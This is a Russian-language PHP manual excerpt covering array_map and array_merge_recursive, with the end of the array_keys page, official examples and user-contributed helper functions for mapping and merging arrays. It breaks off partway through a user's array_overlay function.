            echo reset(array_keys($es, $ess))."<BR>";
        } }
?>
neil at 11 out of 10 24-Jul-2008 12:10
<?php

/*
 * This function will return the keys of elements in the
 * haystack where the value is found in array needle
 */

function array_value_intersect_keys( $array_haystack, $array_needle ){
    $intersected = array_intersect( $array_haystack, $array_needle );
    return array_keys( $intersected );
}

// usage

$array_haystack = array( 1 => 2, 2 => 5, 'red' => 8, 9 => 14 );

$array_needle = array( 2, 8 );

$array_keys_of_intersecting_values = array_value_intersect_keys( $array_haystack, $array_needle );

print_r( $array_keys_of_intersecting_values );
?>

returns
Array
(
    [0] => 1
    [1] => red
)
Hayley Watson 04-Oct-2007 06:43
An alternative to RQuadling at GMail dot com's array_remove() function:

<?php
function array_remove(array $array, $value, $strict=false)
{
    return array_diff_key($array, array_flip(array_keys($array, $value, $strict)));
}
?>
creator at mindcreations dot com 20-Mar-2007 02:12
This function will extract keys from a multidimensional array

<?php
function multiarray_keys($ar) {

    foreach($ar as $k => $v) {
        $keys[] = $k;
        if (is_array($ar[$k]))
            $keys = array_merge($keys, multiarray_keys($ar[$k]));
    }
    return $keys;
}
?>

Example code:

<?php
$array = array("color" => array("1stcolor" => "blue", "2ndcolor" => "red", "3rdcolor" => "green"),
               "size"  => array("small", "medium", "large"));

echo "<pre>";
print_r($array);
echo "</pre>";

echo "<pre>";
print_r(multiarray_keys($array));
echo "</pre>";
?>

Example output:

Array
(
    [color] => Array
        (
            [1stcolor] => blue
            [2ndcolor] => red
            [3rdcolor] => green
        )

    [size] => Array
        (
            [0] => small
            [1] => medium
            [2] => large
        )

)

Array
(
    [0] => color
    [1] => 1stcolor
    [2] => 2ndcolor
    [3] => 3rdcolor
    [4] => size
    [5] => 0
    [6] => 1
    [7] => 2
)
jochem 17-Feb-2006 04:13
might be worth noting in the docs that not all associative (string) keys are a like, output of the follow bit of code demonstrates - might be a handy introduction to automatic typecasting in php for some people (and save a few headaches):

<?php
$r = array("0"=>"0","1"=>"1","" =>"2"," "=>"3");
echo 'how php sees this array: array("0"=>"0","1"=>"1","" =>"2"," "=>"3")',"\n-----------\n";
var_dump($r); print_r($r); var_export($r);
echo "\n-----------\n",'var_dump("0","1",""," ") = ',"\n-----------\n";
var_dump("0","1",""," ");
?>

OUTPUTS:

how php sees this array: array("0"=>"0","1"=>"1","" =>"2"," "=>"3")
-----------
array(4) {
  [0]=>
  string(1) "0"
  [1]=>
  string(1) "1"
  [""]=>
  string(1) "2"
  [" "]=>
  string(1) "3"
}
Array
(
    [0] => 0
    [1] => 1
    [] => 2
    [ ] => 3
)
array (
  0 => '0',
  1 => '1',
  '' => '2',
  ' ' => '3',
)
-----------
var_dump("0","1",""," ") =
-----------
string(1) "0"
string(1) "1"
string(0) ""
string(1) " "
Sven (bitcetera.com) 19-Dec-2005 06:43
Here's how to get the first key, the last key, the first value or the last value of a (hash) array without explicitly copying nor altering the original array:

<?php
  $array = array('first'=>'111', 'second'=>'222', 'third'=>'333');

  // get the first key: returns 'first'
  print array_shift(array_keys($array));

  // get the last key: returns 'third'
  print array_pop(array_keys($array));

  // get the first value: returns '111'
  print array_shift(array_values($array));

  // get the last value: returns '333'
  print array_pop(array_values($array));
?>
vesely at tana dot it 09-Dec-2005 01:56
The position of an element.

One can apply array_keys twice to get the position of an element from its key. (This is the reverse of the function by cristianDOTzuddas.) E.g., the following may output "yes, we have bananas at position 0".

<?php
$a = array("banana" => "yellow", "apple" = "red");
$k = get_some_fruit();
if (isset($a[$k]))
{
   list($pos) = array_keys(array_keys($a), $k);
   print "yes, we have {$k}s at position $pos\n";
}
?>

Not amazingly efficient, but I see no better alternative.
ru dot dy at gmx dot net 14-Aug-2005 09:20
I was looking for a function that simply unset a variable amout of values from a one-dimensional array by key. I ended up with this (returns the array itself if no further parameter than the array is given, false with no params - does not change the source array)

usage: array_remove(array $input [, mixed key ...])

<?php

  function array_remove() {
    if ($stack = func_get_args()) {
      $input = array_shift($stack);
      foreach ($stack as $key) {
        unset($input[$key]);
      }
      return $input;
    }
    return false;
  }

?>

Test:

<?php
  $a = array('a'=>'fun', 'b'=>3.14, 'sub'=> array('1', '2', '3'), 'd'=>'what', 'e' => 'xample', 5 => 'x');
  print_r($a);
  print_r(array_remove($a, 'd', 'b', 5, 'sub'));
?>

Output:

Array
(
    [a] => fun
    [b] => 3.14
    [sub] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
        )

    [d] => what
    [e] => xample
    [5] => x
)
Array
(
    [a] => fun
    [e] => xample
)

Hope this helps someone.
webmaster [at] baz-x [dot] at 29-Jul-2005 03:43
I was looking for a function that deletes either integer keys or string keys (needed for my caching).
As I didn't find a function I came up with my own solution.
I didn't find the propiest function to post to so I will post it here, hope you find it useful.

<?php

function array_extract($array, $extract_type = 1)
{
    foreach ( $array as $key => $value )
    {
        if ( $extract_type == 1 && is_string($key) )
        {
            // delete string keys
            unset($array[$key]);
        }
        elseif ( $extract_type == 2 && is_int($key) )
        {
            // delete integer keys
            unset($array[$key]);
        }
    }

    return $array;
}

?>

You can of course define constants to have a nicer look, I have chosen these: EXTR_INT = 1; EXTR_STRING = 2
EXTR_INT will return an array where keys are only integer while
EXTR_STRING will return an array where keys are only string

Have fun with it.
sip at email dot ee 22-Aug-2003 05:33
Note, that using array_key_exists() is rather inefficient. The overhead associated with calling a function makes it slower, than using isset($array[$key]), instead of array_key_exists($key, $array)
using isset() is usually about 1.3 times faster, according to my tests.
rodrigo at NOSPAM dot dhweb dot com dot br 04-Feb-2003 04:39
[Editor's note: For a complete solution to the printing of complex structures or hashes, see the PEAR::Var_Dump package: http://pear.php.net/package-info.php?pacid=103 , use "pear install Var_Dump" to get it]

This function will print all the keys of a multidimensional array in html tables.
It will help to debug when you don?t have control of depths.

<?php
function show_keys($ar){

   echo "<table width='100%' border='1' bordercolor='#6699CC' cellspacing='0' cellpadding='5'><tr valign='top'>";

      foreach ($ar as $k => $v ) {

         echo "<td align='center' bgcolor='#EEEEEE'>
           <table border='2' cellpadding='3'><tr><td bgcolor='#FFFFFF'><font face='verdana' size='1'>
              " . $k . "
           </font></td></tr></table>";

           if (is_array($ar[$k])) {
              show_keys ($ar[$k]);
         }

         echo "</td>";

      }

   echo "</tr></table>";

}

// Multidimensional array ->
$arvore = array();
$arvore['1'] = array();
$arvore['1']['1.1'] = array('1.1.1', '1.1.2', '1.1.3');
$arvore['1']['1.2'] = array('1.2.1', '1.2.2', '1.2.3');
$arvore['1']['1.3'] = array('1.3.1', '1.3.2', '1.3.3');
$arvore['2'] = array();
$arvore['2']['2.1'] = array('2.1.1', '2.1.2', '2.1.3');
$arvore['2']['2.2'] = array('2.2.1', '2.2.2', '2.2.3');
$arvore['2']['2.3'] = array('2.3.1', '2.3.2', '2.3.3');
$arvore['3'] = array();
$arvore['3']['3.1'] = array('3.1.1', '3.1.2', '3.1.3');
$arvore['3']['3.2'] = array('3.2.1', '3.2.2', '3.2.3');
$arvore['3']['3.3'] = array('3.3.1', '3.3.2'=>array('3.3.2.1', '3.3.2.2'), '3.3.3');
// <-

show_keys($arvore);
?>
glennh at webadept dot net 13-Nov-2002 04:03
All the cool notes are gone from the site.

Here's an example of how to get all the variables passed to your program using the method on this page. This prints them out so you can see what you are doing.

<?php
while (list($key, $value) = each
(${"HTTP_".$REQUEST_METHOD."_VARS"}))
{
        echo $key." = ".$value." ";
}
?>


Применяет callback-функцию ко всем элементам указанных массивов

  • « array_keys
  • array_merge_recursive »
  • PHP Manual
  • Функции для работы с массивами
  • Применяет callback-функцию ко всем элементам указанных массивов

array_map

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

array_map — Применяет callback-функцию ко всем элементам указанных массивов

Описание

array_map(?callable $callback, array $array, array ...$arrays): array

Функция array_map() возвращает массив (array), содержащий результаты применения callback-функции к соответствующему элементу array (и arrays, если указано больше массивов), используемого в качестве аргумента callback-функции. Количество параметров, передаваемых callback-функции, должно совпадать с количеством массивов, переданным функции array_map(). Лишние входные массивы игнорируются. Если предоставлено недостаточное количество аргументов, выбрасывается ArgumentCountError.

Список параметров

callback

callable, применяемая к каждому элементу в каждом массиве.

null может быть передан в качестве значения callback для выполнения zip операции с несколькими массивами. Если указан только array, array_map() вернёт входной массив.

array

Массив, к которому применяется callback-функция.

arrays

Дополнительные массивы для обработки callback-функцией.

Возвращаемые значения

Возвращает массив, содержащий результаты применения callback-функции к соответствующему элементу array (и arrays, если указано больше массивов), используемого в качестве аргумента для callback-функции.

Возвращённый массив сохранит ключи аргумента массива тогда и только тогда, когда будет передан ровно один массив. Если передано более одного массива, возвращённый массив будет иметь последовательные целочисленные ключи.

Список изменений

Версия | Описание
8.0.0 | Теперь функция выдаст ошибку уровня E_WARNING, если параметр callback-функции, переданной в параметр callback, ожидает передачу значения по ссылке.

Примеры

Пример #1 Пример использования array_map()

<?php
function cube($n)
{
return ($n * $n * $n);
}

$a = [1, 2, 3, 4, 5];
$b = array_map('cube', $a);
print_r($b);
?>

В результате переменная $b будет содержать:

Array
(
    [0] => 1
    [1] => 8
    [2] => 27
    [3] => 64
    [4] => 125
)

Пример #2 Использование array_map() вместе с лямбда-функцией

<?php
$func = function(int $value): int {
return $value * 2;
};

print_r(array_map($func, range(1, 5)));

// Или с PHP 7.4.0:

print_r(array_map(fn($value): int => $value * 2, range(1, 5)));

?>
Array
(
    [0] => 2
    [1] => 4
    [2] => 6
    [3] => 8
    [4] => 10
)

Пример #3 Пример использования array_map(): обработка нескольких массивов

<?php
function show_Spanish(int $n, string $m): string
{
return "Число {$n} по-испански - {$m}";
}

function map_Spanish(int $n, string $m): array
{
return [$n => $m];
}

$a = [1, 2, 3, 4, 5];
$b = ['uno', 'dos', 'tres', 'cuatro', 'cinco'];

$c = array_map('show_Spanish', $a, $b);
print_r($c);

$d = array_map('map_Spanish', $a , $b);
print_r($d);
?>

Результат выполнения приведённого примера:

// вывод $c
Array
(
    [0] => Число 1 по-испански - uno
    [1] => Число 2 по-испански - dos
    [2] => Число 3 по-испански - tres
    [3] => Число 4 по-испански - cuatro
    [4] => Число 5 по-испански - cinco
)

// вывод $d
Array
(
    [0] => Array
        (
            [1] => uno
        )

    [1] => Array
        (
            [2] => dos
        )

    [2] => Array
        (
            [3] => tres
        )

    [3] => Array
        (
            [4] => cuatro
        )

    [4] => Array
        (
            [5] => cinco
        )

)

Обычно при обработке двух или более массивов, они имеют одинаковую длину, так как callback-функция применяется параллельно к соответствующим элементам массивов. Если массивы имеют различную длину, более короткие из них дополняется элементами с пустыми значениями до длины самого длинного массива.

Интересным эффектом при использовании этой функции является создание массива массивов, что может быть достигнуто путём использования значения null в качестве имени callback-функции.

Пример #4 Выполнение zip операции с массивами

<?php
$a = [1, 2, 3, 4, 5];
$b = ['one', 'two', 'three', 'four', 'five'];
$c = ['uno', 'dos', 'tres', 'cuatro', 'cinco'];

$d = array_map(null, $a, $b, $c);
print_r($d);
?>

Результат выполнения приведённого примера:

Array
(
    [0] => Array
        (
            [0] => 1
            [1] => one
            [2] => uno
        )

    [1] => Array
        (
            [0] => 2
            [1] => two
            [2] => dos
        )

    [2] => Array
        (
            [0] => 3
            [1] => three
            [2] => tres
        )

    [3] => Array
        (
            [0] => 4
            [1] => four
            [2] => cuatro
        )

    [4] => Array
        (
            [0] => 5
            [1] => five
            [2] => cinco
        )

)

Пример #5 null callback только с array

<?php
$array = [1, 2, 3];
var_dump(array_map(null, $array));
?>

Результат выполнения приведённого примера:

array(3) {
  [0]=>
  int(1)
  [1]=>
  int(2)
  [2]=>
  int(3)
}

Пример #6 Использование array_map() со строковыми ключами

<?php
$arr = ['stringkey' => 'value'];
function cb1($a) {
return [$a];
}
function cb2($a, $b) {
return [$a, $b];
}
var_dump(array_map('cb1', $arr));
var_dump(array_map('cb2', $arr, $arr));
var_dump(array_map(null, $arr));
var_dump(array_map(null, $arr, $arr));
?>

Результат выполнения приведённого примера:

array(1) {
  ["stringkey"]=>
  array(1) {
    [0]=>
    string(5) "value"
  }
}
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(5) "value"
    [1]=>
    string(5) "value"
  }
}
array(1) {
  ["stringkey"]=>
  string(5) "value"
}
array(1) {
  [0]=>
  array(2) {
    [0]=>
    string(5) "value"
    [1]=>
    string(5) "value"
  }
}

Пример #7 array_map() - ассоциативные массивы

Хотя array_map() напрямую не поддерживает использование ключа массива в качестве входных данных, это можно смоделировать с помощью array_keys().

<?php
$arr = [
'v1' => 'Первый выпуск',
'v2' => 'Второй выпуск',
'v3' => 'Третий выпуск',
];

// Примечание: До версии 7.4.0 вместо этого используйте более длинный синтаксис для анонимных функций.
$callback = fn(string $k, string $v): string => "$k - это $v";

$result = array_map($callback, array_keys($arr), array_values($arr));

var_dump($result);
?>

Результат выполнения приведённого примера:

array(3) {
  [0]=>
  string(24) "v1 - это Первый выпуск"
  [1]=>
  string(25) "v2 - это Второй выпуск"
  [2]=>
  string(24) "v3 - это Третий выпуск"
}

Смотрите также

  • array_filter() - Фильтрует элементы массива с помощью callback-функции
  • array_reduce() - Итеративно уменьшает массив к единственному значению, используя callback-функцию
  • array_walk() - Применяет заданную пользователем функцию к каждому элементу массива

User Contributed Notes

s dot kientzler at online dot de 18-Jul-2023 11:57
If the callback function to be called is a static method from a different namespace, the fully qualified method including namespace must be specified (a use statement is not sufficient to resolve the namespace of the callback function)

<?php
use MyTools;

$arr = [1, 2, 3];

$arr = array_map('Tools::myHelper', $arr);
?>

will cause TypeError:
array_map() expects parameter 1 to be a valid callback, class 'Tools' not found.

Use the fully qualified name for the callback instead:

<?php
$arr = [1, 2, 3];

$arr = array_map('\MyTools\Tools::myHelper', $arr);
?>
Walf 24-Mar-2022 11:48
A general solution for the problem of wanting to know the keys in the callback, and/or retain the key association in the returned array:

<?php

/**
 * Like array_map() but callback also gets passed the current key as the
 * first argument like so:
 * function($key, $val, ...$vals) { ... }
 * ...and returned array always maintains key association, even if multiple
 * array arguments are passed.
 */

function array_map_assoc(callable $callback, array $array, array ...$arrays) {
    $keys = array_keys($array);
    array_unshift($arrays, $keys, $array);
    return array_combine($keys, array_map($callback, ...$arrays));
}

?>

Because it uses array_map() directly, it behaves the same way in regard to ignoring the keys of subsequent array arguments. It also has the same variadic signature.
anonymous_user 16-Dec-2021 08:15
/**
  * Function which recursively applies a callback to all values and also its
  * keys, and returns the resulting array copy with the updated keys and
  * values.
  * PHP's built-in function array_walk_recursive() only applies the passed
  * callback to the array values, not the keys, so this function simply applies
  * the callback to the keys too (hence the need of working with a copy,
  * as also updating the keys would lead to reference loss of the original
  * array). I needed something like this, hence my idea of sharing it here.
  *
  * @param    callable    $func     callback which takes one parameter (value
  *                                                   or key to be updated) and returns its
  *                                                   updated value
  *
  * @param    array          $arr      array of which keys and values shall be
  *                                                   get updated
  */

function array_map_recursive(
    callable $func,
    array $arr
) {

      // Initiate copied array which will hold all updated keys + values
      $result = [];

      // Iterate through the key-value pairs of the array
      foreach ( $arr as $key => $value ) {

        // Apply the callback to the key to create the updated key value
        $updated_key = $func( $key );

        // If the iterated value is not an array, that means we have reached the
        // deepest array level for the iterated key, so in that case, assign
        // the updated value to the updated key value in the final output array
        if ( ! is_array( $value ) ) {

          $result[$updated_key] = $func( $value );

        } else {

          // If the iterated value is an array, call the function recursively,
          // By taking the currently iterated value as the $arr argument
          $result[$updated_key] = array_map_recursive(
            $func,
            $arr[$key]
          );

        }

      } // end of iteration through k-v pairs

      // And at the very end, return the generated result set
      return $result;

    } // end of array_map_recursive() function definition
Mahn 20-Oct-2015 05:10
You may be looking for a method to extract values of a multidimensional array on a conditional basis (i.e. a mixture between array_map and array_filter) other than a for/foreach loop. If so, you can take advantage of the fact that 1) the callback method on array_map returns null if no explicit return value is specified (as with everything else) and 2) array_filter with no arguments removes falsy values.

So for example, provided you have:

<?php
$data = [
    [
        "name" => "John",
        "smoker" => false
    ],
    [
        "name" => "Mary",
        "smoker" => true
    ],
    [
        "name" => "Peter",
        "smoker" => false
    ],
    [
        "name" => "Tony",
        "smoker" => true
    ]
];
?>

You can extract the names of all the non-smokers with the following one-liner:

<?php
$names = array_filter(array_map(function($n) { if(!$n['smoker']) return $n['name']; }, $data));
?>

It's not necessarily better than a for/foreach loop, but the occasional one-liner for trivial tasks can help keep your code cleaner.
lukasz dot mordawski at gmail dot com 03-Dec-2013 10:55
Let's assume we have following situation:

<?php
class MyFilterClass {
    public function filter(array $arr) {
        return array_map(function($value) {
            return $this->privateFilterMethod($value);
        });
    }

    private function privateFilterMethod($value) {
        if (is_numeric($value)) $value++;
        else $value .= '.';
    }
}
?>

This will work, because $this inside anonymous function (unlike for example javascript) is the instance of MyFilterClass inside which we called it.
I hope this would be useful for anyone.
CertaiN 22-Aug-2013 08:52
The most memory-efficient array_map_recursive().

<?php
function array_map_recursive(callable $func, array $arr) {
    array_walk_recursive($arr, function(&$v) use ($func) {
        $v = $func($v);
    });
    return $arr;
}
?>
radist-hack at yandex dot ru 01-Nov-2008 01:37
To transpose rectangular two-dimension array, use the following code:

array_unshift($array, null);
$array = call_user_func_array("array_map", $array);

If you need to rotate rectangular two-dimension array on 90 degree, add the following line before or after (depending on the rotation direction you need) the code above:
$array = array_reverse($array);

Here is example:

<?php
$a = array(
  array(1, 2, 3),
  array(4, 5, 6));
array_unshift($a, null);
$a = call_user_func_array("array_map", $a);
print_r($a);
?>

Output:

Array
(
    [0] => Array
        (
            [0] => 1
            [1] => 4
        )

    [1] => Array
        (
            [0] => 2
            [1] => 5
        )

    [2] => Array
        (
            [0] => 3
            [1] => 6
        )

)
stijnleenknegt at gmail dot com 22-Jul-2008 04:17
If you want to pass an argument like ENT_QUOTES to htmlentities, you can do the follow.

<?php
$array = array_map( 'htmlentities' , $array, array_fill(0 , count($array) , ENT_QUOTES) );
?>

The third argument creates an equal sized array of $array filled with the parameter you want to give with your callback function.


Рекурсивно сливает один или несколько массивов

  • « array_map
  • array_merge »
  • PHP Manual
  • Функции для работы с массивами
  • Рекурсивно сливает один или несколько массивов

array_merge_recursive

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

array_merge_recursive — Рекурсивно сливает один или несколько массивов

Описание

array_merge_recursive(array ...$arrays): array

Функция array_merge_recursive() сливает элементы одного или нескольких массивов так, что значения одного добавляются в конец предыдущего. Функция возвращает результирующий массив.

Если входные массивы содержат одинаковые строковые ключи, то значения этих ключей сливаются в массив, и это делается рекурсивно, поэтому, если одно значение — массив, то функция сливает это значение с соответствующим значением в другом массиве. Однако, если массивы содержат одинаковые числовые ключи, каждое следующее значение не перезапишет исходное, а будет добавлено в конец массива.

Список параметров

arrays

Список массивов для рекурсивного слияния.

Возвращаемые значения

Функция возвращает массив значений, который получился в результате объединения аргументов. Без аргументов функция возвращает пустой массив (array).

Список изменений

Версия | Описание
7.4.0 | Теперь функция умеет работать без аргументов. Раньше требовался хотя бы один аргумент.

Примеры

Пример #1 Пример использования функции array_merge_recursive()

<?php

$ar1 = array("color" => array("favorite" => "red"), 5);
$ar2 = array(10, "color" => array("favorite" => "green", "blue"));
$result = array_merge_recursive($ar1, $ar2);
print_r($result);

?>

Результат выполнения приведённого примера:

Array
(
    [color] => Array
        (
            [favorite] => Array
                (
                    [0] => red
                    [1] => green
                )

            [0] => blue
        )

    [0] => 5
    [1] => 10
)

Смотрите также

  • array_merge() - Сливает один или несколько массивов
  • array_replace_recursive() - Рекурсивно заменяет элементы первого массива элементами переданных массивов

User Contributed Notes

dev at oove dot blue 15-Oct-2022 12:01
I was looking for a function like this one :
merge one ore more arrays without appending values, just override and extend the array if needed.
Useful for merging configurations or merging json data to be saved in database (my case)

Similar to Object.assign in javascript

    public static function array_merge()
    {
        // Holds all the arrays passed
        $params = func_get_args ();
        // First array is used as the base, everything else overwrites on it
        $return = array_shift ( $params );

        if(!is_array($return))
            $return = [];
        // Merge all arrays on the first array
        foreach ( $params as $array ) {
            foreach ( $array as $key => $value ) {

                if(!isset($return[$key]) || !is_array($value)) {
                    $return[$key] = $value;
                }
                else
                {
                    $return[$key] = ArrayTools::array_merge( $return[$key], $value );
                }
            }
        }

        return $return;

    }
andrew at indigo - sphere dot co dot uk 04-Sep-2020 11:27
An alternative solution where this function does not produce the desired output: Pass a custom recursive function to array_reduce():

For example (Using PHP 7 capabilities to create recursive anonymous function):

<?php
function array_merge_recursive(...$arrays): ?array {
   return array_reduce($arrays, new class {
        public function __invoke($carry, $item) {
            if (is_array($carry) && is_array($item) {
                return $this($carry, $item);
            }
            return $item ?: $carry;
        }
    }
}
?>
In this case truthy values will overwrite the value in the previous array.
Of course this is presented as a simple example only, and is not a general solution.
hailongzh at hotmail dot com 10-Sep-2019 04:17
Sharing my code to reserve the numeric keys:

    function revise_keys($source)
    {
        if (!is_array($source)) {
            return $source;
        }

        $target = [];

        foreach ($source as $key => $value) {
            $target['S' . $key] = revise_keys($value);
        }

        return $target;
    }

    function revert_keys($source)
    {
        if (!is_array($source)) {
            return $source;
        }

        $target = [];

        foreach ($source as $key => $value) {
            $target[substr($key, 1 - strlen($key))] = revert_keys($value);
        }

        return $target;
    }

    function enhanced_array_merge_recursive(...$candidates)
    {
        $merged = [];

        foreach ($candidates as $candidate) {
            if (!is_array($candidate)) {
                continue;
            }

            $merged = array_merge_recursive($merged, revise_keys($candidate));
        }

        return revert_keys($merged);
    }
gullevek at gullevek dot org 29-Aug-2019 08:06
walfs version is pretty good, but it always assumes we want numeric keys as numeric keys. There are possibilities where a numeric key is actually a string '123'

For that I modified the function so that the last argument is a true switch to turn keys can be numeric on. Default is that keys are all string.

<?php
function array_merge_recursive_simple()
{
    // croak on not enough arguemnts (we need at least two)
    if (func_num_args() < 2) {
        trigger_error(__FUNCTION__ .' needs two or more array arguments', E_USER_WARNING);
        return;
    }
    // default key is not string
    $key_is_string = false;
    $arrays = func_get_args();
    // if last is not array, then assume it is trigger for key is always string
    if (!is_array(end($arrays))) {
        if (array_pop($arrays)) {
            $key_is_string = true;
        }
    }
    // check that arrays count is at least two, else we don't have enough
    if (count($arrays) < 2) {
        trigger_error(__FUNCTION__.' needs two or more array arguments', E_USER_WARNING);
        return;
    }
    $merged = array();
    while ($arrays) {
        $array = array_shift($arrays);
        if (!is_array($array)) {
            trigger_error(__FUNCTION__ .' encountered a non array argument', E_USER_WARNING);
            return;
        }
        if (!$array) {
            continue;
        }
        foreach ($array as $key => $value) {
            if (is_string($key) || $key_is_string === false) {
                if (is_array($value) && array_key_exists($key, $merged) && is_array($merged[$key])) {
                    $merged[$key] = call_user_func(__FUNCTION__, $merged[$key], $value, $key_is_string);
                } else {
                    $merged[$key] = $value;
                }
            } else {
                $merged[] = $value;
            }
        }
    }
    return $merged;
}
?>
zubkov dot rabota at gmail dot com 12-Jul-2017 10:58
This recursive array merge function doesn't renumber integer keys and appends new values to existing ones OR adds a new [key => value] pair if the pair doesn't exist.

function array_merge_recursive_adv(array &$array1, $array2) {
        if(!empty($array2) && is_array($array2))
            foreach ($array2 as $key => $value) {
                    if(array_key_exists($key,$array1)) {
                        if(is_array($value)){
                            array_merge_recursive_adv($array1[$key], $value);
                        } else {
                             if(!empty($array1[$key])) {
                                if(is_array($array1[$key])){
                                    array_push($array1[$key], $value);
                                } else {
                                    $array1[$key] = [$array1[$key]];
                                    $array1[$key][] = $value;
                                }
                             } else if(empty($array1[$key])) {
                                $array1[$key] = $value;
                             }
                        }
                    } else {
                        $array1[$key] = $value;
                    }
            }
            return $array1;
    }
zubkov dot rabota at gmail dot com 12-Jul-2017 10:57
This recursive array merge function doesn't renumber integer keys and appends new values to existing ones OR adds a new [key => value] pair if the pair doesn't exist.

function array_merge_recursive_adv(array &$array1, $array2) {
        if(!empty($array2) && is_array($array2))
            foreach ($array2 as $key => $value) {
                    if(array_key_exists($key,$array1)) {
                        if(is_array($value)){
                            array_merge_recursive_adv($array1[$key], $value);
                        } else {
                             if(!empty($array1[$key])) {
                                if(is_array($array1[$key])){
                                    array_push($array1[$key], $value);
                                } else {
                                    $array1[$key] = [$array1[$key]];
                                    $array1[$key][] = $value;
                                }
                             } else if(empty($array1[$key])) {
                                $array1[$key] = $value;
                             }
                        }
                    } else {
                        $array1[$key] = $value;
                    }
            }
            return $array1;
    }
karl (dot) hepler (at) gmail (dot) com 07-Oct-2016 08:24
I ran into a fairly unique situation where array_merge_recursive ALMOST did what I wanted, but NOT QUITE. I read through all of the comments, and I didn't find anything that really helped me. I saw a lot of functions submitted that were just trying to recreate array_replace_recursive. This is not that.

Take a look at the code and try it out. Hopefully it helps someone in need!

class Arr
{
    /**
     * Merge multiple arrays.
     *
     * This is similar to, but slightly different than array_merge_recursive.
     * The main difference is that it will merge like keys in subarrays,
     * instead of simply pushing them into the output array.
     *
     * @param  array ...$array
     *
     * @return array
     */
    public static function merge()
    {
        /** Initialize the output array */
        $merged = [];

        /** Go through each argument */
        foreach (func_get_args() as $array) {
            /** Go through each key/value of this array */
            foreach ($array as $key => $value) {
                /**
                 * If this key isn't set on merged,
                 * then it needs to be set for the first time
                 */
                if (! isset($merged[$key])) {
                    /**
                     * Before we can set it, we must make sure
                     * to dive into this value if it is an array,
                     * so that all of its children will be processed.
                     */
                    if (is_array($value)) {
                        $value = static::merge($value);
                    }

                    /**
                     * Now that we're happy with this value,
                     * and we're sure that, if it is an array,
                     * all of its children have been processed,
                     * let's go ahead and set it.
                     */
                    $merged[$key] = $value;

                    /** We can skip the rest of the loop */
                    continue;
                }

                /**
                 * We're here because we want to set a key
                 * that is already set on merged. We don't want
                 * to overwrite anything - we want to add to it.
                 * So, we need to make sure that we're working with an array.
                 */
                if (! is_array($merged[$key])) {
                    $merged[$key] = [$merged[$key]];
                }

                /**
                 * Before we push the value onto the array,
                 * we need to check to see if it is an array itself.
                 * If it is, then we need to make sure all of its children
                 * are processed. We do this by merging all of the children
                 * together. This is where it differs from array_merge_recursive,
                 * which would simply push the children onto the end of the array.
                 */
                if (is_array($value)) {
                    $value = forward_static_call_array([Arr::class, 'merge'], $value);
                }

                /** Now we're ready to push the value into merged */
                $merged[$key][] = $value;
            }
        }

        /** Return the merged array */
        return $merged;
    }
}
fantomx1 at gmail dot com 26-Jan-2016 11:35
I little bit improved daniel's and gabriel's contribution to behave more like original array_merge function to append numeric keys instead of overwriting them and added usefull option of specifying which elements to merge as you more often than not need to merge only specific part of array tree, and some parts of array just need  to let overwrite previous. By specifying helper element mergeWithParent=true, that section of array  will be merged, otherwise latter array part will override former. First level of array behave as classic array_merge.

        function array_merge_recursive_distinct ( array &$array1, array &$array2 )
    {
        static $level=0;
        $merged = [];
        if (!empty($array2["mergeWithParent"]) || $level == 0) {
            $merged = $array1;
        }

        foreach ( $array2 as $key => &$value )
        {
            if (is_numeric($key)) {
                $merged [] = $value;
            } else {
                $merged[$key] = $value;
            }

            if ( is_array ( $value ) && isset ( $array1 [$key] ) && is_array ( $array1 [$key] )
            ) {
                $level++;
                $merged [$key] = array_merge_recursive_distinct($array1 [$key], $value);
                $level--;
            }
        }
        unset($merged["mergeWithParent"]);
        return $merged;
    }
Anonymous 30-Nov-2015 09:45
Proper simplistic example:

<?php

$Array1 = [1, 2];
$Array2 = [3, 4];

echo implode("<br>", array_merge_recursive($Array1, $Array2));

?>

Output:
1
2
3
4
Orhan POLAT 18-Jun-2015 02:24
Merging arrays recursively some problem about existing keys, so that i wrote the function above like this:

function merge($array0, $array1) {
  // Result
  $merged = array();

  foreach (func_get_args() as $array) {
   // Check incoming argument is array
   if (is_array($array)) {
    foreach ($array as $key => $value) {
     // Check there is an array with the key: $key
     if (isset($merged[$key])) {
      // Check the value is array
      if (is_array($value)) {
       // So we must merge current value with the existing array
       $merged[$key] = call_user_func_array(__FUNCTION__, $merged[$key], $value);
      } else {
       if (!is_array($merged[$key])) {
        // If the existing array with the key: $key not an array
        // We make it an array
        $merged[$key] = array($merged[$key]);
       }

       // And add the current value
       $merged[$key][] = $value;
      }
     } else {
      // If not exists make the array
      $merged[$key] = $value;
     }
    }
   }
  }

  return $merged;
 }
Anonymous 17-Mar-2015 05:00
Attention.
(used PHP 5.4. XAMPP)

Values with numeric keys are always appended.   The index of the merge array is determined by the startindex of the first array. Value4s with numeric keys seems always appended.
If a key looks like an integer, array_merge_recursive will interpret the string as an number.

In the example  $arr['farbe']['22'] = 'grun' wil be found after array_merge_recursive in $res['farbe'][33]

$ar1 = array("farbe" => array (31 => 'holla', "rot", "favorit" => "gelb2"), "favorit" => "gelb1", 5);
$ar2 = array(10, "farbe" => array ('22' => "grun",  "favorit" => 2, "blau"));
$result = array_merge_recursive ($ar1, $ar2);
var_dump($result);
echo('<hr>');

// var_dump
array(4) {
  ["farbe"]=>
  array(5) {
    [31]=>
    string(5) "holla"
    [32]=>
    string(3) "rot"
    ["favorit"]=>
    array(2) {
      [0]=>
      string(5) "gelb2"
      [1]=>
      int(2)
    }
    [33]=>
    string(5) "grun"
    [34]=>
    string(4) "blau"
  }
  ["favorit"]=>
  string(5) "gelb1"
  [0]=>
  int(5)
  [1]=>
  int(10)
}
php at metehanarslan dot com 12-Jun-2014 10:52
Sometimes you need to modify an array with another one here is my approach to replace an array's content recursively with delete opiton. Here i used "::delete::" as reserved word to delete items.

<?php
$person= array(
    "name" => "Metehan",
    "surname"=>"Arslan",
    "age"=>27,
    "mail"=>"hidden",
    "favs" => array(
        "language"=>"php",
        "planet"=>"mercury",
        "city"=>"istanbul")
);

$newdata = array(
    "age"=>28,
    "mail"=>"::delete::",
    "favs" => array(
        "language"=>"js",
        "planet"=>"mercury",
        "city"=>"shanghai")
);

print_r(array_overlay($person,$newdata));
// result: Array ( [name] => Metehan [surname] => Arslan [age] => 28 [favs] => Array ( [language] => js [planet] => mercury [city] => shanghai ) )

function array_overlay($a1,$a2)
{
    foreach($a1 as $k => $v) {
